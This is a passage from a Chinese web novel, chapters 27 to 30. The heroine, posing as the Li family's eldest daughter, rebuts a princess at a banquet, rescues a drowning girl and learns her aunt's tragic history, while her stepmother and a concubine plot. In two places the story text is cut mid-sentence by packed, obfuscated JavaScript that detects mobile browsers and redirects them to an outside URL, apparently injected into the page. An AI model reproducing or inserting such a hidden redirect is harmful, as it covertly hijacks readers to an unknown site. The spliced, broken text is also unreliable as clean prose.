关怀素点点头,说:“原来如此,那郡主可曾想过,您府中禁卫森严,从花园出来,应有无数看守下人,客人若是走错,定然也能被指明道路,好好带回内院……那么我当日若不是有郡主您身边的丫鬟带领,是如何走到外头夹道里去的呢?难道是我潜伏于途中,躲过兵丁巡逻、婆子丫鬟的眼线,而后从看门婆子眼皮子底下溜出院门,然后又那么厉害早早知道太子会突然造访,还埋伏于夹道处,只等着人来了就跌出去?” 关怀素其实并不知道郡主府上是否如此,但是她曾与祖父一起拜访前朝致仕的豪族,知道高门大户大多守卫森严,与一般人家决然不同。 关怀素一点也不为自己分辩,只从最根本去抓漏洞,果然让福宁郡主露出了迟疑之色。 “既是如此,你当日为何不说?”福宁郡主听她说的头头是道,也想起来自己的内院之中,确实不可能让一个客人随意出入,如今想起来,这件事情确实从头到尾都透着荒谬,但是她到底不能介怀,因此追问关怀素。 关怀素万万没想到,福宁郡主居然能趁着这个机会,给她递这么大一个梯子——她正想趁着出门交际的机会,把姐姐这些年的遭遇宣扬一番! “往日我在家中,祖母一再教导要与人为善,但凡身边仆婢做错事情,哪怕是偷走我的衣裙首饰,祖母也一再叮嘱不可责罚,要想着下人生活不易,主子定要仁善体贴、以德报怨才是……因此当日我担心郡主责备带路丫鬟,又忧心我斤斤计较,反倒显得我不宽和。”关怀素说这段话的时候语速极快,她不用看就知道,身边的孙大娘子脸色一定很精彩。 毕竟她虽然只说了祖母,但是明眼人谁听不出来此事荒诞至极,且家中其他长辈绝对脱不了干系!首当其冲就是孙大娘子这个继室! 此事干系后宅阴私,全场的贵妇人果然都露出了好奇且兴奋的神色。 李家老夫人年事已高,且不在此地,众人便只震惊地问孙大娘子:“还有这样的事情,孙娘子你知道吗?” 孙大娘子脸上都要成猪肝色了!有些事情,做得却说不得,这事儿可是家丑! 她带着这个继女也出来交际很多次了,知道这继女口笨舌拙,受委屈了也说不清楚,更被养得柔顺太过,脑子有些不清楚,有时候心软的过分。 她方才还怕继女被郡主咬**是有攀龙附凤之心,要知道这样的话,关怀素算德行有亏,她的婉淑以后相看人家都要被连累,关怀素能解释清楚,孙大娘子倒是乐见其成。 可是解释到一半,竟然抛出这样的内宅阴私,还牵连到她,偏众目睽睽之下,她还不好制止关怀素,免得众人觉得她心虚! 孙大娘子往日虽不健谈,但也是说话清爽的人,如今却只能赔笑着干巴巴说一句:“我们家老夫人常年吃斋,在家也恪守居士德行,确实性子十分温和。” 这话说的,本朝佛道虽然不如前朝兴盛,但是各家夫人却大多也会经常为家人祈福,因此信徒不少,孙大娘子这么说,虽然此事还是让人震惊,却到底面子上说得过去了。 关怀素也是心中微微有些佩服,孙大娘子机变过人,她这些年所见之中,都能算排得上号的机灵。 “婉玉自小由老夫人养在跟前,许多事情,我确实不好插手。”孙大娘子说完,赔笑了一下,带着点不自然的委屈小声说。 众人顿时就露出明悟之色。 确实,孙大娘子是继室,众人不需要想就知道,继室在这样的情况下,与前头嫡女确实容易相处尴尬,尤其是还不在她膝下教养。 也有人与孙大娘子共情,当场就有一个丰腴些的夫人不赞成地看着关怀素,冷笑一声,说:“婉玉姑娘,你这话说的,先头你体贴了那小婢女,怎么现在又不体谅了?” 关怀素怡然不惧,只冷静回答:“因为我回家之后,并无人听我解释,送我去八仙庄,幸而得天庇佑,我的外祖父关怀远曾在庄子收下不记名弟子,弟子又留有后人,感念祖父之德,对我多番照顾,又协助我处置庄子上欺上瞒下、盘剥乡里的刁奴,多方教导,方令婉玉明白了一件事情,原来圣人所说以德报怨之后,尚有几句,全文乃是‘以德报怨,何以报德?以直报怨,以德报德’如此方为圣人教化。婉玉不才,愿效古之圣贤。” 此话一出,满堂皆静。 众位夫人一时之间竟不知道说什么,门外在这个时候,却传来一个女子洒脱的声音,笑着说:“说得好!不愧是工德先生之后!” 众人回头一看,却看到门外头站着一个鹅蛋脸的年长妇人,穿着件水红色的夹袄儿、浓紫色团花裙,头上簪花戴翠,打扮得艳丽动人。 关怀素并不认识这个妇人,却知道她定然是与祖父、母亲都极其熟悉,因为工德是祖父的字,只有当初与祖父极其交好的人家,才会知道祖父这个小字。 可问题是,关怀素并不认识她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183302|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 难道是姐姐熟悉的长辈? 关怀素心中忍不住有些忐忑,她只能假作慌乱叠掌行礼,含混着说:“夫人安康。” 那夫人却像是十分震惊一般,几步上前,一把握住关怀素的手,眼里瞬间冒出了雾气,她一开口就带了哽咽,轻声说:“你这孩子、哎呀,你这孩子……” 关怀素不知道怎么回事,但是她却隐约地感觉到了,这位夫人似乎对姐姐极为关心,又似乎对自己的行为极其感动,神态十分动容。 关怀素正心里没底呢,这妇人却主动开口了,她握着关怀素的手,眼泪一串下来,连声说:“你这孩子,我听了京师府衙的宣判,才知道你在庄子上半年无人问津,你娘给你留的皇庄给一个外头人管着就算了,我听说那大管事竟三日才给你院子一缸水,且还盘剥乡邻,每年租子收六成,以至引发了民乱!我可怜的婉玉,你这些年,太苦了啊!” 虽然暂时不知道这夫人是谁,但是这夫人战斗力极其强悍,上前直接叭叭一顿话,说的方才被孙大娘子给圆回来的气氛又顿时一紧。 众人这才知道李家大姑娘在庄子上竟过的这样的日子,一个个大惊失色,哪怕是方才与孙大娘子颇有些共情的丰腴夫人也露出了惊骇之色,脱口而出:“怎会如此!” 孙大娘子这回脸色不是发红了,而是有些发白。 偏她还不能反驳,因为这些事情都是记在衙门的案薄里的,无法掩饰,孙大娘子只能勉力说了一句:“实在是我们羞愧,本看着她哭着回家,怕她在家里憋闷,只想让她在庄子上散散心,却没想到庄子上的奴才竟是如此,委屈婉玉了……” “确实委屈!”孙大娘子赔笑说完,本是人家家里的事儿,为了礼仪,大家也只会感慨一声就散了,可面前这个妇人却完全不按照常理来,反而直接接了孙大娘子的话,冷笑着说了一句,“可怜的孩子,明明是工德先生的后人,当年她阿娘何等飒爽一个女子,在宫苑里与大长公主一起读书都不逊色的人,生下的孩子本就是天生的灵秀苗子,偏生被教养成受气包一样,连丫鬟仆人都要敬着,竟差点害得自己成了满京师的笑话!放眼全京师,谁家女儿被教养如此?关系性命的清白大事竟都不敢替自己分辨,差点就成了他人龃龉伎俩的踏脚石……也该是工德先生与素素泉下有知,才叫这孩子在庄子上遇到了祖父的弟子,到底是天生的血脉,这半年正当教养,竟比往日十五年都清白,效仿古之圣贤,好!说得极好!” 这话一顿抢白,连损带贬,只差指着鼻子骂李家人故意打压嫡妻留下的孤女,心思歹毒。 孙大娘子又羞又怒,她倒是想抢白一番,但是还没说话,关怀素却知道见好就收,生怕这位长辈说得太过,到时候反被人攻讦,于是立刻眼泪一串串下来,哽咽地说:“婉玉当日也试图说过,但是无人相信,若是当日能得夫人一句话,婉玉、婉玉……” 说到这里,泪如雨下,竟是泣不成声。 众人看她这么一个半大姑娘,哭成这样,又想到她出生丧母,身世可怜,在场大多是浸淫后宅多年的人,哪里猜不出里面的弯弯绕绕? 于是立刻就有看着和气的夫人出来打圆场,连声说:“如今说清楚了也好,想来郡主也不会怪罪于你了。” 郡主正看得津津有味呢,猛不丁被提到,虽还是对关怀素有所怀疑,但大致上已经释怀,只颔首说:“若是如此,那确实是一桩误会,我自不会介怀。” “郡主高义!”关怀素还没动,旁边那妇人就拉着关怀素行礼,连声恭维。 这一番风波,到此终于消弭于无形。 而孙大娘子还想解释,到底是失去了先机,此刻再旧事重提,不免显得她心虚,于是她也只能含恨咽下话头,笑着恭维郡主,然后恭送郡主出去。 关怀素心中这才了悟,却原来郡主是专门跑来夫人们这里发难的——在闺秀面前说这些,定然没有在这些官眷面前说有用,毕竟以从五品官之女的身份,日后她的婆婆差不多也就在这些夫人里面,因此只有在这边发难,若是让她哭着跑走,日后就绝了她嫁给门当户对之人的亲事了。 不得不说,郡主打算很好。 只是若不是用来对付姐姐的话,关怀素可能会更欣赏一点。 第二十八章 游园惊魂 关怀素拂袖离去,周丽娘满心惶急,想对围观众人解释,可是众人对上她的眼神,几乎立刻脚底抹油,生怕被她抓住说话。 丽娘又想去追关怀素,可却被婉淑一把抓住。 婉淑终于意识到,大姐姐去了庄子上半年之后,真的脱胎换骨,以前那套办法不管用了。她连忙阻止丽娘,连声说:“丽娘,别去,我大姐姐最近愈发牙尖嘴利,万一又给你扣个什么名头就不好了!” “不要你管!你方才不替我说话,这时候做什么假惺惺的?!”周丽娘差点气哭,她想到若是关怀素今日对她说的话要是传出去,只怕要被父母斥责,连嫡兄嫡姐指不定也会对她心中有隔阂。 想到这里,丽娘的眼泪瞬间就下来了。 “丽娘,你别哭了,我知道你不是这个意思,大姐姐也太过分了,无端端这样指责你!”婉淑却一把抱住周丽娘,突然大声安慰起来。 其实周丽娘本还在生她的气,本想推开她,此时恰好有相熟闺秀路过,不明所以问发生何事。 婉淑便哭起来,说:“丽娘为了我,想跟我家大姐姐一起赏花,谁知大姐姐说我们都是继室之女,把我们骂了一顿,还说丽娘以后定要给原配的兄弟和姐姐整治,都是我不好,丽娘本想着让我好过一些……” “真是岂有此理,你们本是好意,她真是过分!”立刻便有小娘生的,或是继室家里的姑娘瞬间共情,义愤填膺起来。 众人一起安慰丽娘,还有人同情婉淑,觉得她真是倒霉,遇到这样的长姐。 周丽娘瞧着婉淑这么一说,大家都在斥责李婉玉,登时也开心了,又亲**与大家一起说笑起来。 她们却都不知道,她们在墙角的这一番风波,在围墙后头,却恰好叫一个年轻男子听到全程。 “爷,您怎地又一个人躲在这里啊?”小厮来福找了一圈,终于才在院落的修竹丛后找到自家爷,忙不迭上前说,“太子爷找您一起游园呢!” 再一看自家爷只穿着身袍子坐在石头上,来福顿时急了:“哎哟您怎地不穿披风,晚间着凉了可怎么办?” 年轻男子眉飞入鬓,容色姝艳,只是面色苍白,透着一股子病气。他听着小厮一叠声地抱怨着,伸手让他扶起来,轻声说:“那帮人每日拿着太子做筏子,个个心思涌动,我实在是懒得应付。” 说到这里,他看着围墙,皱眉说:“关老师真的在八仙庄留了许多外门弟子?” 来福立刻点头,说:“打听了,是真的。当年都是关老先生教导过的,也是给李大姑娘好歹留了些福报。” 年轻男子点头,叹了口气,轻声说:“无事便好,她先前也是被人设计,偏我一直发病,都没顾得上,得亏有人帮手,不然她一个人在八仙庄遇到民乱,实在是危险。” “爷,您别多想了,您这一冬天差点命都没了。”小厮心疼地说,“如今李大姑娘也是得了造化,自己硬气起来了,也是好事。” “到底是故人血脉。”小侯爷摇摇头,微微疲惫地揉了揉眉心,轻声说:“京师人心诡谲,众人都有自己的谋算,身在其中稍不注意,就是狂澜之灾。哎,可叹我如今已经是个废人,连自个儿也护不住……” 来福见爷想起伤心事,立刻打断,说:“太子殿下等着您游园呢。” 二人说着话,一路出去了。 关怀素还不知道身后这些动静,她离开之后,便慢慢散步,换了个角落观花。 正看得入神,突然听到女孩们骚动的声音,她惊讶地转头,便看到花园拱门处,一群年轻郎君正结伴而来。 这些年轻郎君都是佩玉之人,个个出身不凡、风度翩翩,尤以最前方两个男子最为俊美。 穿红色常服的年轻郎君,佩玉戴金,生得眉目如画,贵气天成。 旁边那披着白狐**披风的郎君,更是清雅绝伦,仿佛宋玉再生,一见忘俗。 “是小侯爷和太子殿下!”旁边有闺秀站定,激动地低声说,“天啊,小侯爷真是好看!” “是好看,可惜了。”她旁边的女孩轻声感慨。 “是啊……”那激动的女孩神色黯淡下来,有些不忍地咬咬唇,想说什么,但是最后却只是感慨了一声,“可惜了。” 关怀素知道她们在可惜什么。 本朝只有一个小侯爷,乃是大长公主唯一嫡子周乐天。 小侯爷儿时养在太后膝下,后在京师长到十三岁便去了西北,十五岁跟随大长公主北驱狄夷,如长鞭直入草原内,驱狄夷八百里,割下首领阿拜疆头颅,一战成名。 此后三年,小侯爷周乐天如出鞘利刃,百战百胜,从无败绩。 加上传言他与号称“郎艳独绝、世无其二”的父亲长得极其相似,于是一度成为全天下闺阁女儿心中最向往的英雄。 只可惜,前年突然出了个天下震荡的丑事——据说有极其确切的证据,证明小侯爷有私通敌国之罪。 而他那屡屡奇功,竟是与狄夷勾结蒙混世人! 此事据说大长公主都未曾否认,小侯爷差点就被在北疆问斩,还是太后派心腹旧将千里奔驰,劫了法场,才把人救回京师。 据说此事之后,小侯爷一身武艺全废,一年大半时间都在喝药,就这么在京师里养着,当年那些事情,陛下只说此事证据不足,不准再议。 可是全天下都知道,是太后如此力保亲手养大的孩子,而陛下按下此事,不过是因为太后,不是小侯爷真的清白。 自此,美玉破碎,小侯爷从此变成了一种大家无言的默契。 哪怕是闺阁女儿,看到小侯爷艳色无双的脸心中再动摇,也不敢随意说一句倾慕。毕竟,这可是通敌叛国之人啊! 但是关怀素其实并不这么认为。 当时她得知消息的时候,正和祖父在一处乡下帮助乡人修理老宅,祖父和她趴在房梁上,拿着一柄石锤敲打铆钉,一边对关怀素说:“素素,你觉得,小侯爷是真的通敌了么?” 关怀素当时一边挫铆钉一边说:“不确定。只是……小侯爷已经升无可升,他通敌冒功,要不是天下第一大蠢货,要不就是天下第一狼子野心之人!” 祖父当时大笑,十分满意。 关怀素到现在依旧是这个看法。 她身边的姑娘们可惜完小侯爷,又在窃窃私语,讨论太子英俊,可惜多情,后宅姬妾太多,旁边几个伴读又多么年轻英俊等等。 这些都是小女儿的私房话,关怀素不欲再多听,便抬脚走到了一边,继续百无聊赖地观察。 远远看到,随着太子与小 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却没想到才走几步路,突然听到身后传来女子尖叫的声音! 关怀素回头一看,便看到清凉亭里,一群女孩尖叫着,而水里有人在疯狂挣扎! 有人落水了! 意识到这一点,再看到旁边男丁们都露出惊愕之色,再看到有人在叫小厮下水救人,关怀素神色一厉,立刻大喊:“让开,我会水!” 说完,她一边脱下外面的厚比甲一边狂奔到风雨廊前,一路冲到清凉亭便纵身一跃,下水朝着惊慌失措的女孩游过去。 这落水姑娘显然是不会水,关怀素下去之后,看她毫无章法在扑腾,也不犹豫,游到这姑娘身后就是一个利落的手刀,这姑娘立刻闷不吭声昏过去,看着就要往下沉。 关怀素这才上前背着她,一只手拉着她,一只手拨水,好容易游到岸边,赵家的丫鬟婆子们也冲了过来,关怀素横抱着这姑娘,还没说话,远处作陪的赵姑娘赶来,看到一身湿淋淋的关怀素二人,立刻吓得连声说:“快、快立刻带婉玉姐姐与宋兰妹妹去我屋里,找两身干爽衣衫换了!” “多谢妹妹。”关怀素匆忙之中只来得及说一句,便立刻抱着宋兰大步往屋里去。 身后,湖泊那边的郎君们也看到了这一幕。 “那边怎么回事?”太子身边,便有人皱眉问,“怎地闹哄哄的?” “回三公子,是宋家姑娘落水了,幸亏吏部考功司李大人家的大姑娘会水,把人救上来了。”小厮得了消息,立刻过来回话。 “李大姑娘?”一边有个凤眼狭长的公子就忍不住冷笑一声,说,“她竟还会泅水?怎么哪里都有她?” 众人登时想起上回这姑娘跌倒在太子面前的事情,一时神色都古怪起来。 “得亏她古道热肠,救下人性命。”沉默之中,周乐天慢慢放下茶杯,咳嗽一声,轻声像是随意地说,“否则那姑娘今日怕是要有麻烦。” 周乐天这么一说,微妙的气氛登时一松,众人便纷纷附和。 宋三郎没想到一贯沉默的小侯爷会说话,他冷笑一声,却也并不多说什么,只扭开了脸。 第二十九章 程姨母 关怀素不知道宴会那边的小风波。 她抱着宋兰进了院子,把宋兰交给丫鬟,自己才匆匆换衣烘头发。 柳叶赶过来的时候,宋兰也醒了。 得知自己被救,宋兰从隔壁过来,一进门就对关怀素蹲身行全礼。 “你这是做什么?”关怀素被唬了一跳,立刻起身,连声说,“快起来!” “不,我应当行礼。”宋兰却坚持行完礼,才直起身体看着关怀素说,“我早先与姐姐见面,多次出言不逊,今日满院子人,却只有婉玉姐姐你一人愿意帮我,可见往日我总嘲讽姐姐软弱愚蠢,倒没想到,我自己倒是承了姐姐心慈手软的福气。” 这话说的,明明是在道谢,倒还把自己心里原本的看不上说出来了,让人都不知道怎么回答。 但是关怀素倒是不讨厌这样的人,起码宋兰说话虽然有时候有些呛人,但是她性子直白,若是觉得你好,便坦坦荡荡地承认自己错了,若是觉得哪里看不上,也直白地开口嘲弄。 这样的人,确实也有当年大儒宋智先生的风采。 关怀素想到祖父说好友文君先生当年一张利嘴惹出来的许多啼笑皆非的往事,再看看眼前的宋兰,心中微软,微微一笑,温声说:“不用谢我,今日园子里不管是哪位姐姐妹妹落水,我都会去救人。” 关怀素说的实话,如今风气对女子愈发苛刻,京师尤甚,她下水去救人,总比让小厮抱着人上岸好些。 “要谢的。”宋兰脸上带着讥讽笑意,说,“否则今儿若是真被小厮救了,只怕我舅舅真会为了面子逼我做尼姑去呢。” 关怀素敏锐地意识到了宋兰话语里带着的怨恨,但是她也不好刺探人家的家事,因此只做没有听懂,却听到宋兰压低声音说:“我看婉玉姐姐此番回来,似乎换了个人一般,行事隐约自有章法。宋兰想提醒婉玉姐姐一声,后宅之内,一味安分随时,只怕日后不会好过。” 说完,看着关怀素迟疑的神色,她皱眉,突然急促地说:“我今日落水,是与人斗气推搡,无怪其他。但是半年前姐姐你被人引走,我却是看得清楚……” 话正说到一半,猛不丁门帘晃动。 关怀素与宋兰都吓了一跳,立刻回头,却是个嬷嬷进来问她们可歇息好了,两人止住话头,烘干梳头,而后返回花厅。 回去后福宁郡主已经不在,赵家姑娘赵白芷坐在上首,见到她们立刻便起身招呼,询问她们可曾风寒,她本就生的圆脸和气,方才一直陪着福宁郡主还不觉得,此刻笑着拉着她们二人说话,才愈发让人感觉出这位赵姑娘的长袖善舞来。 “都怪我安排得不周到,今儿让两位姐姐受惊了,实在是我的不是,我给两位姐姐赔罪了!”她笑着握着关怀素与宋兰的手,一叠声轻笑着说话,声音温柔,让人心中再大的怨气也能消弭于无形。 何况这事儿本就和她无关,宋兰和关怀素自然都不会让她赔罪,三人说着话,一旁周丽娘突然冷笑一声说:“赵姐姐可别太愧疚,叫我说她们可是反得了便宜,看看婉玉姐姐和兰姐姐身上穿了这两身新衣裳,可比来的时候还漂亮呢!尤其是兰姐姐,像是换了个人一般!” 说完,周围姑娘们顿时都笑起来。 “多谢赵家姐姐,”宋兰被讥讽寒酸占便宜,脸上微有薄怒,却压着脾气对赵姑娘说,“他日衣服浆洗好,我一定尽快给你送回来。” “可不必如此,这两件衣服都是今年做的新衣,结果我却长高了不少,其实已经穿不下了。”赵姑娘一团和气打着圆场,笑着说,“刚巧送给姐妹们,也不算埋没它们了。” “哎呀呀,兰姐姐还是收下吧,日后再有宴会,好歹可以换这身新衣来见客,总比旧衣暖和漂亮不是?”周丽娘继续刻薄开口。 关怀素发现宋兰这人说话耿直,却十分清高,虽然嘴皮子利索,但是却不懂吵架。 赵姑娘态度十分大方,宋兰再与赵姑娘推辞,不免会显得不近人情,若是再被刺激着脱了新衣,穿自己的濡湿旧衣回去,那才是真正地出丑,只怕反而如了周丽娘的意。 且周丽娘一再发难,除了看不起宋兰之外,其实更多可能是在报复方才与她吵架之仇。 关怀素当然不能坐视不管,于是她挡在宋兰面前,盯着丽娘问:“敢问这位妹妹,你是不是十分羡慕我们得了赵妹妹送的新衣?你是不是心里后悔**,早知道方才你就自己去跌水里,打量着赵妹妹心善,你不也可以得一身新衣衫了?” “怎么可能!我怎么可能妒忌你们的新衣服?”周丽娘气得脸红耳赤,生气地说,“你当我是没见过世面的乡下土包子吗?!” 关怀素正色厉声说:“那你的意思是,我们两个就是没见过世面的乡下土包子?我们故意想坑赵妹妹的衣衫?!” 周丽娘就是这个意思,但是她嘲讽是一回事,真被拎出来这么说,却又不能承认,否则大家小姐,岂不是与村中泼妇无异,她立刻否认:“我当然不是说你们……” “不是就好。既然不是妒忌我们,丽娘妹妹就别一再念叨了,免得显得斤斤计较,倒让人误会。”关怀素冷笑一声,看着周丽娘脸色青白,哪有方才挤兑奚落她们的气焰? 她顿时满意,又转头过来笑着对赵姑娘说:“那我们就多谢赵妹妹了,如此便厚颜收下了。” “好!”赵白芷笑着看完她们斗嘴,笑眯眯地说,“婉玉姐姐与平日看着大不一样了。” 关怀素神态自若,轻笑着回答:“生死关头走一遭,若是还如往常一样,那也太窝囊了。” 她说完,赵白芷带着微微思索之色,而后轻笑着说:“也是。” 就在此时,丫鬟们来传话,说是夫人们喊大家伙儿去园子里听戏,一群姑娘家于是又动身去了戏台那边,跟着看了几折子戏。 等到一天玩下来,到了回家的时候,众人都疲惫不堪。 不但女眷如此,与男丁们一起应酬的父亲与两个弟弟也都累得没什么力气,一家人回府就各去自己院子里安歇不提。 关怀素也是疲累不堪,晚上便只随口用了几口饭食,到了休息的时候,才问柳叶打听到了什么。 柳叶白日使钱,在下人里听了许多京师流言蜚语,这些虽是小事,但是多听一些,有利于关怀素更清楚掌握局面。 于是柳叶边说,关怀素边记起京师这些弯弯绕绕的许多事情来。 说着说着,关怀素就想到了白日见过的程姨母,便问起来。 “姑娘,先皇帐下的前锋程老将军,您知道吧?”柳叶问。 关怀素一愣,然后说:“我记得,祖父每年秋日都会为他烧纸,说程爷爷出身草莽,但是却是一等一的豪爽汉子……当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183305|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年祖父曾与程老将军交情甚笃,结为兄弟。” “是,我今儿听说,程将军之子十七年前卷入军伍贪墨一案,全家被流放岭南,路上全家无一幸免。”柳叶轻声说,“家中女眷,充入官妓,或发卖为奴。” 关怀素从未听祖父说过这后面的事情,听到这里悚然而惊,她本来靠在榻上听柳叶在身边说话,闻言顿时从床榻上坐起来,惊恐地看着柳叶说:“那姨母?” 柳叶起身点头,说:“如姑娘所想,程娘子当日还未出阁,也在被充入官妓之列。” 关怀素愣住了,捏紧了衣袖紧张地追问:“而后呢?官妓不可赎身,她、她怎么出来的?” “您还记得十年前,老先生说去帮落难友人,拉了几车的钱出门吗?”柳叶细细说起来,关怀素立刻想起了十年前那段往事。 那次祖父突然取了家里账上所有银钱,并把积年压箱底钱财都拿出来了,统统在两月之内全部花用了出去。 “此事与姨母有关?”关怀素惊讶地问。 柳叶点头,低声说:“据说现在满京师还都传言呢。当初咱们老先生带了几车钱进京师,先是去教坊司把程娘子包了下来,又立刻满京师奔走,甚至还求到了如今的陛下面前……因为事涉谋逆,多方求情,当今陛下亦不肯网开一面。” 后来也是老先生联合程老将军旧友多方查探,终于找到了当初程将军被人陷害的证据,总算是替程家翻案。但是前后花费了大半年的时间审案,到最后等程娘子出来时,也已经做了将近一年的官妓。 “那、那姨母如今……”关怀素难受地问。 “如今程娘子乃是工部侍郎陈大人的嫡妻。”柳叶神色缓和下来,说,“听说正是老太爷当初的**弟子之一,与程娘子青梅竹马,二人感情很好。” 关怀素一听,顿时松了口气。 她想起来今日程娘子与自己说话的语气,顿时有些明白为何程娘子为何是那样的表现,于是关怀素问柳叶:“姐姐素日是不是不太与姨母说话?” 柳叶点头,低声说:“我听那些丫鬟婆子说起程娘子时,都十分不屑,说她残花败柳之身,想来大姑娘性子谨慎,大约也是顾忌流言的……” 关怀素长叹一口气。 “难为姨母了,今日还巴巴来找我说话……”关怀素心中难受,百味杂陈,轻声说。 她那样的经历,在京师这样的风气之下,只怕人人都当作笑话一般。若是心智不坚之人,只怕羞的门也不肯出了,看姨母那样子,也不是真的毫不在意其他人风言风语的,但是她每回还是巴巴地凑到宴席里。 她肯定不是为了与嘲笑她的人交好,在关怀素看起来,原因只有一个,那就是因为这姨母,只怕是心里不放心姐姐,所以找到机会总想来确认姐姐过得可好。 可惜姐姐却不懂姨母这一番苦心。 可这事儿不能怪姐姐,毕竟瞧李家老夫人那样子,姐姐只怕自襁褓之中就被人故意往歪了养,根本没机会分辨是非,是背后之人其心可诛。 想到这里,关怀素心中愈发难受,只能告诉自己,没关系,慢慢来,总有算总账的时候。 如此自我安慰,关怀素心中好歹舒服了些,便和柳叶早早歇下来了。 她却不知道,她今儿在宴会上的惹眼表现,引得此时几处人都在说起她。 第三十章 京师夜话 东院此时就灯火通明。 婉淑回家之后,一进屋就问:“阿娘,今儿后来怎样了,可有机会提到大姐姐相看的事儿?” 孙大娘子忍了一天,正与陪嫁周妈妈大骂白日之事! 听到婉淑进门来,没心没肺地第一句还在问别的,她气得怒声说:“还大姐姐的事儿,你就没想过今儿你大姐姐说那一通,我后头哪儿有空管这个事情!” “姑娘,今儿大娘子被奚落了大半天,心里正难受呢。”周妈妈立刻上前低声对婉淑提醒,“大娘子回来之后,水都没喝一口,饭也没吃。” 婉淑听周妈妈这么一说,才发现自己一心忌惮大姐姐,却忘了阿娘今日最难受。 “阿娘,你别气。我今日本来想替阿娘教训一下她,没想到却差点让丽娘都着了她的道,竟差点被她绕了进去。”婉淑对母亲三言两语说了今日白天在花园里的那番话,才说,“我是觉得大姐姐此番变化太大……实在是让我不安心。” 孙大娘子听到丽娘那句“你是不是恨婉淑的娘占了**位置?可若不是你娘**,你父亲也不会再娶,你怎么不怪你娘死的早呢?!”本露出了解恨之色,她心中确实如此想。 毕竟如果婉玉的阿娘还在世,也轮不到她如今当李家当家主母! 孙大娘子觉得心里痛快,拿起身边的茶盏就要喝茶,结果听到婉淑说到关怀素那一句“你家原配子女若是过得不好,那也是都怪人家娘死的早,对吧?”,顿时吓得一杯茶盏没拿稳,直接掉在地上,上好的一件官窑冰裂天青瓷“啪”的一声掉在地上,摔了个稀碎。 “她、她怎么敢!”孙大娘子却顾不得心疼最爱的茶盏,又惊又怒,气得拍案而起,怒声重复,“她、她怎么敢!” 可是孙大娘子却是色厉内荏,惊怒结束,脸色惨白,只余惶恐。 婉淑看着不对,立刻说:“娘,没事,我当时便想办法把这事儿带过去了。” “带不过去!”孙大娘子急地站起来,拆了钗环,对身边的周妈妈说,“快,换一身素净的衣裳,我去前院找老爷请罪去。” 婉淑不明白阿娘怎地如此紧张,连声问:“阿娘,一件小事,何苦这样大动干戈的……” 话还没说完,却被母亲的脸色吓得声音越来越小,竟然是不敢出声了。 因孙大娘子脸色难看至极,拆了头上的金器,外头的绸缎夹袄也脱了,只穿了身最旧的深红色薄夹袄。 这一番换下来,方才还端庄富贵的大娘子一下子浑身气势不再,看着倒是显得几分可怜来。 “这不是小事。淑儿,你记着,永远永远不要掉以轻心。”孙大娘子换完衣衫,整理好自己的衣襟,冷声对身边的女儿轻声叮嘱,“宴会上人那么多,你爹今日不知道,日后也会知道。” 她看着眼前的婉淑,认真地叮嘱:“婉淑,别小看一个男人对年少发妻的情谊。不管当初如何……” 说到这里孙大娘子沉默了一下,冷笑一声,说,“**永远是最好的,更何况是惊才绝艳、又死在最好的年纪里的人。” 说完,她拍了拍婉淑,脸上流露出一闪而逝的悲凉。 这一刻,这个看着姿色不出众、端庄有余却总是显得过于木讷,如李家后院一尊泥塑般坚固的女人,在此刻像是身上的外壳碎裂了一瞬,露出了里面被掩盖的许多复杂真实内里来。 但是那只是极短的一瞬,短暂到婉淑甚至以为是某种错觉。 她只愣愣地听完阿娘的话,然后看着阿娘转身,一路顺着长廊走出院子,匆匆赶去见父亲了。 婉淑看着母亲的背影,想着阿娘的话,心中似懂非懂。 她想不太明白,但是不知为何心里却一股子憋闷。 婉淑心里发闷难受,那边婉蓉却十分得意,开心地与小娘说起今日东院母女吃瘪。 末了婉蓉嘲笑:“今儿她们可都丢大人了!” 崔妙人听得快活,开心抚掌而笑说:“好、好!东院那两个,一天天地摆出一副菩萨样子,当自己多了不起,可给我抓到把柄了!蓉儿,一会儿晚上你爹爹过来,你记得把这事儿告诉你爹爹,让他也好好知道一下,他心里头觉得大度温柔的大娘子,到底心底里是怎么想关娘子的!” “为啥要告诉爹啊?”婉蓉不理解,说,“若是爹反而心疼她们受委屈了,可怎么办?” “不可能的。你爹虽然嘴上不说……”崔小娘不知道为何冷笑了一下,然后才语气带着点古怪地说,“但是若是真有人这么说关娘子,他只怕真的会气得与人拼命。” “我不明白。”婉蓉迷茫地看着自家小娘。 “你只晓得一个事儿,这男人啊,对一个地位高贵又主动下嫁自己的女人,心情一定与一般不一样。尤其是关娘子当初风华绝代,那可是当初差点入了当今后宫的人……可比起当皇妃,关娘子选择了当李家妇,没有男人会忘掉这样的女子。”崔小娘摇摇头,冷笑说,“你看我平日面上从不沾手你大姐姐的事情,为什么?” 看婉蓉一脸呆愣,崔小娘恨铁不成钢地说:“因为你爹自己心里别扭着呢!他看着对你大姐姐不怎么热络,但是心中不知道多么记挂关娘子,不然你当后头宁小娘怎么来的?” 说到这里,压低声音说:“平素瞧着是没事,但是你瞧着,这回提到关娘子,你爹要知道了,东院死定了!” 两人说完,抖擞精神等着李珺来院子里打算告状,结果等了半晌,丫鬟回话,说老爷说晚膳便在东院用了,让她们自己吃了早些歇息。 崔小娘本来乐呵呵的脸色瞬间沉下来,捏着帕子恨声说:“她倒是机警!” “小娘,不去请爹过来吗?”婉蓉不明白,平日父亲若是 